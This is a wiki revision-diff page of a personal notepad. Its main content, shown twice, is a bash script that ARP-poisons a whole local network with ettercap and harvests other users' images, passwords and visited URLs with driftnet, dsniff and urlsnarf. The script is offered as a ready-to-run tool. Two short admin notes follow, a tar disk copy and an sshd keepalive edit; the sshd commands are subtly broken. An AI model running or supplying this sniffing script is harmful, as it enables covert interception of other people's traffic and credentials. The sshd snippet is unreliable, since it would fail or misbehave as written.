Difference between revisions of "Timsnotepad"

From ENTS
Jump to: navigation, search
Line 2: Line 2:
  
 
  <nowiki>
 
  <nowiki>
    #!/bin/bash
+
#!/bin/bash
    mkdir ~/capture
+
mkdir ~/capture
    mkdir ~/capture/img
+
mkdir ~/capture/img
    ettercap -q -i wlp3s0 -P autoadd -T -M ARP // // &
+
ettercap -q -i wlp3s0 -P autoadd -T -M ARP // // &
    driftnet -d ~/capture/img/ -s -a &
+
driftnet -d ~/capture/img/ -s -a &
    dsniff -i wlp3s0 &
+
dsniff -i wlp3s0 &
    urlsnarf -i wlp3s0 >> ~/capture/temp &
+
urlsnarf -i wlp3s0 >> ~/capture/temp &
    (while true; do
+
(while true; do
    exec 4<~/capture/temp
+
  exec 4<~/capture/temp
      while read -u4 p ; do
+
  while read -u4 p ; do
      echo "$p" | egrep -oh 'http[s]{0,1}://[^[:space:]]+[[:space:]]' >> ~/capture/output
+
  echo "$p" | egrep -oh 'http[s]{0,1}://[^[:space:]]+[[:space:]]' >> ~/capture/output
    done
+
  done
    echo "" > ~/capture/temp &
+
echo "" > ~/capture/temp &
      sleep 10
+
sleep 10
    done) &
+
done) &
    xterm -e "watch -n1 cat ~/capture/output" &
+
xterm -e "watch -n1 cat ~/capture/output" &
 
</nowiki>
 
</nowiki>
  
Line 24: Line 24:
  
 
  #tar cf - . | (cd /path/to/mountpoint; tar xf -)
 
  #tar cf - . | (cd /path/to/mountpoint; tar xf -)
 +
 +
 +
stop sshd timeouts
 +
 +
<nowiki>
 +
# stop sshd timeouts
 +
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.old
 +
sed 's/#*ClientAliveInterval[[:space:]][0-9]*/ClientAliveInterval 30/g' -e 's/#*ClientAliveCountMax[[:space:]][0-9]*/ClientAliveCountMax 4/g' etc/ssh/sshd_config > /etc/ssh/tmp
 +
mv /etc/ssh/tmp /etc/ssh/sshd_config
 +
rm /etc/ssh/tmp
 +
</nowiki>

Revision as of 15:37, 15 February 2014

ettercap, dsniff, driftnet 31337 h4x0r 5k1d script

#!/bin/bash
mkdir ~/capture
mkdir ~/capture/img
ettercap -q -i wlp3s0 -P autoadd -T -M ARP // // &
driftnet -d ~/capture/img/ -s -a &
dsniff -i wlp3s0 &
urlsnarf -i wlp3s0 >> ~/capture/temp &
 (while true; do
  exec 4<~/capture/temp
   while read -u4 p ; do
   echo "$p" | egrep -oh 'http[s]{0,1}://[^[:space:]]+[[:space:]]' >> ~/capture/output
  done
 echo "" > ~/capture/temp &
 sleep 10
 done) &
xterm -e "watch -n1 cat ~/capture/output" &


copy an install (boot from livecd) from one HD to another:

#tar cf - . | (cd /path/to/mountpoint; tar xf -)


stop sshd timeouts

# stop sshd timeouts
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.old
sed 's/#*ClientAliveInterval[[:space:]][0-9]*/ClientAliveInterval 30/g' -e 's/#*ClientAliveCountMax[[:space:]][0-9]*/ClientAliveCountMax 4/g' etc/ssh/sshd_config > /etc/ssh/tmp
mv /etc/ssh/tmp /etc/ssh/sshd_config
rm /etc/ssh/tmp

Personal tools
Namespaces

Variants
Actions
Navigation
Members
Toolbox